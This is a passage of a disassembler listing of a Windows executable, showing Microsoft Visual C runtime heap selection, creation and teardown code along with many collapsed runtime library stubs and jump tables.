loc_426EC5: ; CODE XREF: sub_426E90+31j mov ecx, [ebp+var_8] mov edx, [ebp+var_8] add edx, [ecx+3Ch] mov [ebp+var_4], edx mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Ah] mov [eax], dl mov eax, [ebp+arg_0] mov ecx, [ebp+var_4] mov dl, [ecx+1Bh] mov [eax+1], dl loc_426EE8: ; CODE XREF: sub_426E90:loc_426EC3j mov esp, ebp pop ebp retn sub_426E90 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426EF0 proc near ; CODE XREF: sub_427120:loc_42714Cp Str = dword ptr -1238h var_1234 = dword ptr -1234h var_1230 = dword ptr -1230h SubStr = byte ptr -122Ch Str2 = byte ptr -1128h var_98 = dword ptr -98h var_94 = dword ptr -94h var_88 = dword ptr -88h var_4 = dword ptr -4 push ebp mov ebp, esp mov eax, 1238h call __alloca_probe mov [ebp+Str], 0 mov [ebp+var_98], 94h lea eax, [ebp+var_98] push eax call ds:dword_4F539C ; GetVersionExA test eax, eax jz short loc_426F3E cmp [ebp+var_88], 2 jnz short loc_426F3E cmp [ebp+var_94], 5 jb short loc_426F3E mov eax, 1 jmp loc_427110 ; --------------------------------------------------------------------------- loc_426F3E: ; CODE XREF: sub_426EF0+30j ; sub_426EF0+39j ... push 1090h lea ecx, [ebp+Str2] push ecx push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT" call ds:dword_4F54B8 ; GetEnvironmentVariableA test eax, eax jz loc_4270E4 lea edx, [ebp+Str2] mov [ebp+var_4], edx jmp short loc_426F71 ; --------------------------------------------------------------------------- loc_426F68: ; CODE XREF: sub_426EF0:loc_426F9Ej mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax loc_426F71: ; CODE XREF: sub_426EF0+76j mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] test edx, edx jz short loc_426FA0 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 61h jl short loc_426F9E mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 7Ah jg short loc_426F9E mov ecx, [ebp+var_4] mov dl, [ecx] add dl, 0E0h mov eax, [ebp+var_4] mov [eax], dl loc_426F9E: ; CODE XREF: sub_426EF0+94j ; sub_426EF0+9Fj jmp short loc_426F68 ; --------------------------------------------------------------------------- loc_426FA0: ; CODE XREF: sub_426EF0+89j push 16h ; MaxCount lea ecx, [ebp+Str2] push ecx ; Str2 push offset Str1 ; "__GLOBAL_HEAP_SELECTED" call _strncmp add esp, 0Ch test eax, eax jnz short loc_426FC8 lea edx, [ebp+Str2] mov [ebp+Str], edx jmp short loc_42703B ; --------------------------------------------------------------------------- loc_426FC8: ; CODE XREF: sub_426EF0+C8j push 104h lea eax, [ebp+SubStr] push eax push 0 call ds:dword_4F5344 ; GetModuleFileNameA lea ecx, [ebp+SubStr] mov [ebp+var_4], ecx jmp short loc_426FF0 ; --------------------------------------------------------------------------- loc_426FE7: ; CODE XREF: sub_426EF0:loc_42701Dj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_426FF0: ; CODE XREF: sub_426EF0+F5j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jz short loc_42701F mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 61h jl short loc_42701D mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 7Ah jg short loc_42701D mov eax, [ebp+var_4] mov cl, [eax] add cl, 0E0h mov edx, [ebp+var_4] mov [edx], cl loc_42701D: ; CODE XREF: sub_426EF0+113j ; sub_426EF0+11Ej jmp short loc_426FE7 ; --------------------------------------------------------------------------- loc_42701F: ; CODE XREF: sub_426EF0+108j lea eax, [ebp+SubStr] push eax ; SubStr lea ecx, [ebp+Str2] push ecx ; Str call _strstr add esp, 8 mov [ebp+Str], eax loc_42703B: ; CODE XREF: sub_426EF0+D6j cmp [ebp+Str], 0 jz loc_4270E4 push 2Ch ; Val mov edx, [ebp+Str] push edx ; Str call _strchr add esp, 8 mov [ebp+Str], eax cmp [ebp+Str], 0 jz short loc_4270E4 mov eax, [ebp+Str] add eax, 1 mov [ebp+Str], eax mov ecx, [ebp+Str] mov [ebp+var_4], ecx loc_427080: ; CODE XREF: sub_426EF0:loc_4270A6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_4270A8 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 3Bh jnz short loc_42709D mov eax, [ebp+var_4] mov byte ptr [eax], 0 jmp short loc_4270A6 ; --------------------------------------------------------------------------- loc_42709D: ; CODE XREF: sub_426EF0+1A3j mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_4270A6: ; CODE XREF: sub_426EF0+1ABj jmp short loc_427080 ; --------------------------------------------------------------------------- loc_4270A8: ; CODE XREF: sub_426EF0+198j push 0Ah ; Radix push 0 ; EndPtr mov edx, [ebp+Str] push edx ; Str call _strtol add esp, 0Ch mov [ebp+var_1230], eax cmp [ebp+var_1230], 2 jz short loc_4270DC cmp [ebp+var_1230], 3 jz short loc_4270DC cmp [ebp+var_1230], 1 jnz short loc_4270E4 loc_4270DC: ; CODE XREF: sub_426EF0+1D8j ; sub_426EF0+1E1j mov eax, [ebp+var_1230] jmp short loc_427110 ; --------------------------------------------------------------------------- loc_4270E4: ; CODE XREF: sub_426EF0+67j ; sub_426EF0+152j ... lea eax, [ebp+var_1234] push eax call sub_426E90 add esp, 4 mov ecx, [ebp+var_1234] and ecx, 0FFh cmp ecx, 6 jl short loc_42710B mov eax, 3 jmp short loc_427110 ; --------------------------------------------------------------------------- loc_42710B: ; CODE XREF: sub_426EF0+212j mov eax, 2 loc_427110: ; CODE XREF: sub_426EF0+49j ; sub_426EF0+1F2j ... mov esp, ebp pop ebp retn sub_426EF0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427120 proc near ; CODE XREF: start+7Ep arg_0 = dword ptr 8 push ebp mov ebp, esp push 0 push 1000h xor eax, eax cmp [ebp+arg_0], 0 setz al push eax call ds:dword_4F54C0 ; HeapCreate mov dword_4F3BE8, eax cmp dword_4F3BE8, 0 jnz short loc_42714C xor eax, eax jmp short loc_4271AB ; --------------------------------------------------------------------------- loc_42714C: ; CODE XREF: sub_427120+26j call sub_426EF0 mov dword_4F3BEC, eax cmp dword_4F3BEC, 3 jnz short loc_427183 push 3F8h call ___sbh_heap_init add esp, 4 test eax, eax jnz short loc_427181 mov ecx, dword_4F3BE8 push ecx call ds:dword_4F54BC ; HeapDestroy xor eax, eax jmp short loc_4271AB ; --------------------------------------------------------------------------- loc_427181: ; CODE XREF: sub_427120+4Ej jmp short loc_4271A6 ; --------------------------------------------------------------------------- loc_427183: ; CODE XREF: sub_427120+3Dj cmp dword_4F3BEC, 2 jnz short loc_4271A6 call ___sbh_new_region test eax, eax jnz short loc_4271A6 mov edx, dword_4F3BE8 push edx call ds:dword_4F54BC ; HeapDestroy xor eax, eax jmp short loc_4271AB ; --------------------------------------------------------------------------- loc_4271A6: ; CODE XREF: sub_427120:loc_427181j ; sub_427120+6Aj ... mov eax, 1 loc_4271AB: ; CODE XREF: sub_427120+2Aj ; sub_427120+5Fj ... pop ebp retn sub_427120 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 0Ch cmp dword_4F3BEC, 3 jnz loc_42724A mov eax, dword_4F3C08 mov [ebp-8], eax mov dword ptr [ebp-4], 0 jmp short loc_4271DD ; --------------------------------------------------------------------------- loc_4271D4: ; CODE XREF: .text:00427231j mov ecx, [ebp-4] add ecx, 1 mov [ebp-4], ecx loc_4271DD: ; CODE XREF: .text:004271D2j mov edx, [ebp-4] cmp edx, dword_4F3C04 jge short loc_427233 push 4000h push 100000h mov eax, [ebp-8] mov ecx, [eax+0Ch] push ecx call ds:dword_4F54B0 ; VirtualFree push 8000h push 0 mov edx, [ebp-8] mov eax, [edx+0Ch] push eax call ds:dword_4F54B0 ; VirtualFree mov ecx, [ebp-8] mov edx, [ecx+10h] push edx push 0 mov eax, dword_4F3BE8 push eax call ds:dword_4F5414 ; RtlFreeHeap mov ecx, [ebp-8] add ecx, 14h mov [ebp-8], ecx jmp short loc_4271D4 ; --------------------------------------------------------------------------- loc_427233: ; CODE XREF: .text:004271E6j mov edx, dword_4F3C08 push edx push 0 mov eax, dword_4F3BE8 push eax call ds:dword_4F5414 ; RtlFreeHeap jmp short loc_427288 ; --------------------------------------------------------------------------- loc_42724A: ; CODE XREF: .text:004271BDj cmp dword_4F3BEC, 2 jnz short loc_427288 mov dword ptr [ebp-0Ch], offset off_451CC8 loc_42725A: ; CODE XREF: .text:00427286j mov ecx, [ebp-0Ch] cmp dword ptr [ecx+10h], 0 jz short loc_427277 push 8000h push 0 mov edx, [ebp-0Ch] mov eax, [edx+10h] push eax call ds:dword_4F54B0 ; VirtualFree loc_427277: ; CODE XREF: .text:00427261j mov ecx, [ebp-0Ch] mov edx, [ecx] mov [ebp-0Ch], edx cmp dword ptr [ebp-0Ch], offset off_451CC8 jnz short loc_42725A loc_427288: ; CODE XREF: .text:00427248j ; .text:00427251j mov eax, dword_4F3BE8 push eax call ds:dword_4F54BC ; HeapDestroy mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION __isctype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000001E4 BYTES: COLLAPSED FUNCTION __filbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __read. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000445 BYTES: COLLAPSED FUNCTION __read_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000031D BYTES: COLLAPSED FUNCTION __openfile. PRESS KEYPAD "+" TO EXPAND] off_427D4D dd offset loc_427B7B ; DATA XREF: __openfile+144r dd offset loc_427CA6 dd offset loc_427C65 dd offset loc_427C44 dd offset loc_427C86 dd offset loc_427BB5 dd offset loc_427BFC dd offset loc_427C20 dd offset loc_427BD9 dd offset loc_427CC3 byte_427D75 db 0 ; DATA XREF: __openfile+13Er dw 909h dd 5 dup(9090909h), 9010909h, 3 dup(9090909h), 9040302h dd 3 dup(9090909h), 9090605h, 2 dup(9090909h), 9090907h dd 0CC080909h ; [00000180 BYTES: COLLAPSED FUNCTION __getstream. PRESS KEYPAD "+" TO EXPAND] ; [00000274 BYTES: COLLAPSED FUNCTION __flsbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000C24 BYTES: COLLAPSED FUNCTION unknown_libname_7. PRESS KEYPAD "+" TO EXPAND] off_428DE4 dd offset unknown_libname_8 ; DATA XREF: unknown_libname_7+B9r ; Microsoft VisualC 2-8/net runtime dd offset loc_42831A dd offset loc_42835C dd offset loc_4283CB dd offset loc_428423 dd offset loc_428432 dd offset loc_42847E dd offset loc_428511 off_428E04 dd offset loc_4283A8 ; DATA XREF: unknown_libname_7+1CCr dd offset loc_4283B3 dd offset loc_42839E dd offset loc_428393 dd offset loc_4283BE dd offset loc_4283C6 byte_428E1C db 0 ; DATA XREF: unknown_libname_7+1C6r db 2 dup(5), 1 dd 5050505h, 2050505h, 5050305h db 4 dd offset loc_4284C0 ; DATA XREF: unknown_libname_7+2EEr dd offset loc_4284F9 dd offset loc_4284B5 dd offset loc_428503 dd offset loc_42850C byte_428E41 db 0 ; DATA XREF: unknown_libname_7+2E8r dw 404h dd 7 dup(4040404h), 4040401h, 4040402h, 4040404h, 3040404h dd offset loc_42854C ; DATA XREF: unknown_libname_7+385r dd offset loc_4287E0 dd offset loc_428670 dd offset loc_428919 dd offset loc_4285DB dd offset loc_428561 dd offset loc_4288EB dd offset loc_4287F0 dd offset loc_428795 dd offset loc_428965 dd offset loc_42890F dd offset loc_428686 dd offset loc_428903 dd offset loc_428925 dd offset loc_428BF7 byte_428EAC db 0 ; DATA XREF: unknown_libname_7+37Fr db 0Eh, 1, 0Eh dd 0E0E0E01h, 2 dup(0E0E0E0Eh), 0E0E0E02h, 40E030Eh, 2 dup(0E0E0E0Eh) dd 7070605h, 0E060E07h, 80E0E0Eh, 0E0E0A09h, 0E0C0E0Bh dd 0CCCC0D0Eh, 3 dup(0CCCCCCCCh) ; [00000077 BYTES: COLLAPSED FUNCTION _write_char. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000035 BYTES: COLLAPSED FUNCTION _write_multi_char. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004A BYTES: COLLAPSED FUNCTION _write_string. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001A BYTES: COLLAPSED FUNCTION _get_int_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001F BYTES: COLLAPSED FUNCTION _get_int64_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION _get_short_arg. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __mtinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000029 BYTES: COLLAPSED FUNCTION __mtterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000019 BYTES: COLLAPSED FUNCTION __initptd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000098 BYTES: COLLAPSED FUNCTION __getptd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000107 BYTES: COLLAPSED FUNCTION __freeptd. PRESS KEYPAD "+" TO EXPAND] align 10h push ebp mov ebp, esp call ds:dword_4F54C4 ; GetCurrentThreadId pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp call ds:dword_4F54DC ; GetCurrentThread pop ebp retn ; --------------------------------------------------------------------------- align 10h ; [00000344 BYTES: COLLAPSED FUNCTION __setmbcp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000059 BYTES: COLLAPSED FUNCTION _getSystemCP. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _CPtoLCID. PRESS KEYPAD "+" TO EXPAND] off_429710 dd offset loc_4296EE ; DATA XREF: _CPtoLCID+27r dd offset loc_4296F5 dd offset loc_4296FC dd offset loc_429703 dd offset loc_42970A byte_429724 db 0 ; DATA XREF: _CPtoLCID+21r db 3 dup(4) dd 4040401h, 2 dup(4040404h), 0CC030204h, 2 dup(0CCCCCCCCh) ; [00000074 BYTES: COLLAPSED FUNCTION _setSBCS. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000302 BYTES: COLLAPSED FUNCTION _setSBUpLow. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __getmbcp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000022 BYTES: COLLAPSED FUNCTION ___initmbctable. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000125 BYTES: COLLAPSED FUNCTION __mbsnbcpy. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000091 BYTES: COLLAPSED FUNCTION __dosmaperr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION __errno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000D BYTES: COLLAPSED FUNCTION ___doserrno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000000B BYTES: COLLAPSED FUNCTION __toupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000093 BYTES: COLLAPSED FUNCTION _toupper. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000012B BYTES: COLLAPSED FUNCTION _toupper_0. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000157 BYTES: COLLAPSED FUNCTION __stbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000094 BYTES: COLLAPSED FUNCTION __ftbuf. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00001328 BYTES: COLLAPSED FUNCTION unknown_libname_11. PRESS KEYPAD "+" TO EXPAND] off_42B418 dd offset loc_42A3AA ; DATA XREF: unknown_libname_11+239r dd offset loc_42A330 dd offset loc_42A348 dd offset loc_42A38C dd offset loc_42A335 dd offset loc_42A397 dd offset loc_42A39F dd offset unknown_libname_12 ; Microsoft VisualC 2-8/net runtime byte_42B438 db 0 ; DATA XREF: unknown_libname_11+233r db 3 dup(7) dd 6 dup(7070707h), 2070701h, 7030707h, 7070701h, 5 dup(7070707h) dd 7040707h, 7050707h, 2 dup(7070707h) db 7, 6 off_42B486 dd offset loc_42A4BB ; DATA XREF: unknown_libname_11+3C4r dd offset loc_42A9F4 dd offset loc_42AE67 dd offset loc_42A8EB dd offset loc_42AE52 dd offset loc_42A9F0 dd offset loc_42A501 dd offset loc_42A8F2 dd offset loc_42A526 dd offset loc_42B23A byte_42B4AE db 0 ; DATA XREF: unknown_libname_11+3BEr db 1 dd 9020202h, 9090903h, 5010409h, 9060909h, 7090901h, 0CC080909h dd 2 dup(0CCCCCCCCh) ; [00000058 BYTES: COLLAPSED FUNCTION __hextodec. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000051 BYTES: COLLAPSED FUNCTION __inc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __un_inc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000039 BYTES: COLLAPSED FUNCTION __whiteout. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION __frnd. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000055 BYTES: COLLAPSED FUNCTION __handle_qnan1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000067 BYTES: COLLAPSED FUNCTION __handle_qnan2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B2 BYTES: COLLAPSED FUNCTION __except1. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000CE BYTES: COLLAPSED FUNCTION __except2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000004B1 BYTES: COLLAPSED FUNCTION __raise_exc. PRESS KEYPAD "+" TO EXPAND] off_42BD21 dd offset loc_42BCAC ; DATA XREF: __raise_exc+3FFr dd offset loc_42BC9A dd offset loc_42BC88 dd offset loc_42BC76 align 10h ; [00000372 BYTES: COLLAPSED FUNCTION __handle_exc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION __umatherr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003A BYTES: COLLAPSED FUNCTION __set_errno. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003F BYTES: COLLAPSED FUNCTION __get_fname. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000071 BYTES: COLLAPSED FUNCTION __errcode. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000003E BYTES: COLLAPSED FUNCTION __set_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __get_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000033 BYTES: COLLAPSED FUNCTION __add_exp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000034 BYTES: COLLAPSED FUNCTION __set_bexp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000007C BYTES: COLLAPSED FUNCTION __sptype. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000139 BYTES: COLLAPSED FUNCTION __decomp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000016 BYTES: COLLAPSED FUNCTION __statfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __clrfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000032 BYTES: COLLAPSED FUNCTION __ctrlfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000075 BYTES: COLLAPSED FUNCTION __set_statfp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000017 BYTES: COLLAPSED FUNCTION __setdefaultprecision. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005E BYTES: COLLAPSED FUNCTION __ms_p5_test_fdiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION __ms_p5_mp_test_fdiv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000A8 BYTES: COLLAPSED FUNCTION __forcdecpt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D7 BYTES: COLLAPSED FUNCTION __cropzeros. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002D BYTES: COLLAPSED FUNCTION __positive. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000048 BYTES: COLLAPSED FUNCTION __fassign. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000076 BYTES: COLLAPSED FUNCTION __cftoe. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000166 BYTES: COLLAPSED FUNCTION __cftoe2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000006A BYTES: COLLAPSED FUNCTION __cftof. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000013D BYTES: COLLAPSED FUNCTION __cftof2. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000E5 BYTES: COLLAPSED FUNCTION __cftog. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000005F BYTES: COLLAPSED FUNCTION __cfltcvt. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002E BYTES: COLLAPSED FUNCTION __shift. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000EF BYTES: COLLAPSED FUNCTION ___InternalCxxFrameHandler. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000002A0 BYTES: COLLAPSED FUNCTION FindHandler(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,uchar,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] ; [00000115 BYTES: COLLAPSED FUNCTION FindHandlerForForeignException(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,void *,_s_FuncInfo const *,int,int,EHRegistrationNode *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B6 BYTES: COLLAPSED FUNCTION TypeMatch(_s_HandlerType const *,_s_CatchableType const *,_s_ThrowInfo const *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000F7 BYTES: COLLAPSED FUNCTION ___FrameUnwindToState. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000002C BYTES: COLLAPSED FUNCTION sub_42D480. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B7 BYTES: COLLAPSED FUNCTION unknown_libname_21. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000DD BYTES: COLLAPSED FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] ; [0000005E BYTES: COLLAPSED FUNCTION sub_42D64D. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; [00000014 BYTES: COLLAPSED CHUNK OF FUNCTION CallCatchBlock(EHExceptionRecord *,EHRegistrationNode *,_CONTEXT *,_s_FuncInfo const *,void *,int,ulong). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000042 BYTES: COLLAPSED FUNCTION ExFilterRethrow(_EXCEPTION_POINTERS *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000027B BYTES: COLLAPSED FUNCTION BuildCatchObject(EHExceptionRecord *,EHRegistrationNode *,_s_HandlerType const *,_s_CatchableType const *). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000086 BYTES: COLLAPSED FUNCTION _DestructExceptionObject(EHExceptionRecord *,uchar). PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000046 BYTES: COLLAPSED FUNCTION ___AdjustPointer. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000004C BYTES: COLLAPSED FUNCTION unknown_libname_22. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000006C BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- jmp short loc_42DB34 ; [00000005 BYTES: COLLAPSED FUNCTION j__abort. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- retn ; --------------------------------------------------------------------------- ; [00000011 BYTES: COLLAPSED CHUNK OF FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000001B BYTES: COLLAPSED FUNCTION unexpected(void). PRESS KEYPAD "+" TO EXPAND] db 5Dh ; ] db 0C3h ; align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn bp-based frame sub_42DB70 proc near ; CODE XREF: _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *)+23p ; _GetRangeOfTrysToCheck(_s_FuncInfo const *,int,int,uint *,uint *):loc_42096Dp ... var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0042DBE0 SIZE 00000011 BYTES push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_43D388 push offset unknown_libname_3 ; Microsoft VisualC 2-8/net runtime mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 8 push ebx push esi push edi mov [ebp+var_18], esp mov [ebp+var_4], 0 cmp off_4542C0, 0 jz short loc_42DBCC mov [ebp+var_4], 1 call off_4542C0 ; terminate(void) mov [ebp+var_4], 0 jmp short loc_42DBCC ; --------------------------------------------------------------------------- loc_42DBBC: ; DATA XREF: .rdata:0043D398o mov eax, 1 retn ; --------------------------------------------------------------------------- loc_42DBC2: ; DATA XREF: .rdata:0043D39Co mov esp, [ebp+var_18] mov [ebp+var_4], 0 loc_42DBCC: ; CODE XREF: sub_42DB70+34j ; sub_42DB70+4Aj mov [ebp+var_4], 0FFFFFFFFh call j_?terminate@@YAXXZ ; terminate(void) sub_42DB70 endp ; --------------------------------------------------------------------------- db 0EBh ; db 6 ; [00000005 BYTES: COLLAPSED FUNCTION terminate(void). PRESS KEYPAD "+" TO EXPAND] db 0C3h ; ; START OF FUNCTION CHUNK FOR sub_42DB70 db 8Bh ; db 4Dh ; M db 0F0h ; db 64h ; d db 89h ; db 0Dh db 0 db 0 db 0 db 0 db 5Fh ; _ db 5Eh ; ^ db 5Bh ; [ db 8Bh ; db 0E5h ; db 5Dh ; ] db 0C3h ; ; END OF FUNCTION CHUNK FOR sub_42DB70 align 10h ; [000000EE BYTES: COLLAPSED FUNCTION ___loctotime_t. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000003EF BYTES: COLLAPSED FUNCTION _setlocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000193 BYTES: COLLAPSED FUNCTION __setlocale_set_cat. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000100 BYTES: COLLAPSED FUNCTION __setlocale_get_all. PRESS KEYPAD "+" TO EXPAND] ; [00000184 BYTES: COLLAPSED FUNCTION __expandlocale. PRESS KEYPAD "+" TO EXPAND] align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42E510 proc near ; CODE XREF: __setlocale_set_cat+12Bp ; DATA XREF: .data:off_4543D8o push ebp mov ebp, esp xor eax, eax pop ebp retn sub_42E510 endp ; --------------------------------------------------------------------------- align 10h ; [0000004F BYTES: COLLAPSED FUNCTION __strcats. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000015D BYTES: COLLAPSED FUNCTION ___lc_strtolc. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000065 BYTES: COLLAPSED FUNCTION ___lc_lctostr. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __lseek. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000B2 BYTES: COLLAPSED FUNCTION __lseek_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000062 BYTES: COLLAPSED FUNCTION _ftell. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000029A BYTES: COLLAPSED FUNCTION __ftell_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000082 BYTES: COLLAPSED FUNCTION __write. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000273 BYTES: COLLAPSED FUNCTION __write_lk. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000305 BYTES: COLLAPSED FUNCTION ___crtLCMapStringA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000050 BYTES: COLLAPSED FUNCTION _strncnt. PRESS KEYPAD "+" TO EXPAND] ; [000001BE BYTES: COLLAPSED FUNCTION __XcptFilter. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000059 BYTES: COLLAPSED FUNCTION _xcptlookup. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000BC BYTES: COLLAPSED FUNCTION __wincmdln. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000149 BYTES: COLLAPSED FUNCTION __setenvp. PRESS KEYPAD "+" TO EXPAND] align 10h ; [000000D8 BYTES: COLLAPSED FUNCTION __setargv. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000424 BYTES: COLLAPSED FUNCTION _parse_cmdline. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000219 BYTES: COLLAPSED FUNCTION ___crtGetEnvironmentStringsA. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000324 BYTES: COLLAPSED FUNCTION __ioinit. PRESS KEYPAD "+" TO EXPAND] align 10h ; [0000009B BYTES: COLLAPSED FUNCTION __ioterm. PRESS KEYPAD "+" TO EXPAND] align 10h ; [00000049 BYTES: COLLAPSED 